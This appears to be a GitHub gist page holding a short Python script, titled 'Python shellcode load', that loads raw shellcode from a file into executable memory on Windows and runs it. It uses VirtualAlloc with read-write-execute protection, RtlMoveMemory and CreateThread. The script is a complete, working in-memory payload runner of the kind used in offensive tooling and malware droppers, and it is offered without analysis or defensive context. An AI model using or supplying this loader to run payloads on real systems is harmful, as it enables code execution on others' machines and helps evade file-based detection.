Skip to content

Instantly share code, notes, and snippets.

@daddycocoaman
Created November 30, 2022 21:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save daddycocoaman/eaa674e8e536adbc5e14ece9c8a5811b to your computer and use it in GitHub Desktop.
Save daddycocoaman/eaa674e8e536adbc5e14ece9c8a5811b to your computer and use it in GitHub Desktop.
Python shellcode load
import ctypes
from pathlib import Path
shellcode = bytearray(Path("shellcode.bin").read_bytes())
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]
ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ptr, buffer, len(shellcode))
handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None)
kernel32.WaitForSingleObject(handle, -1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment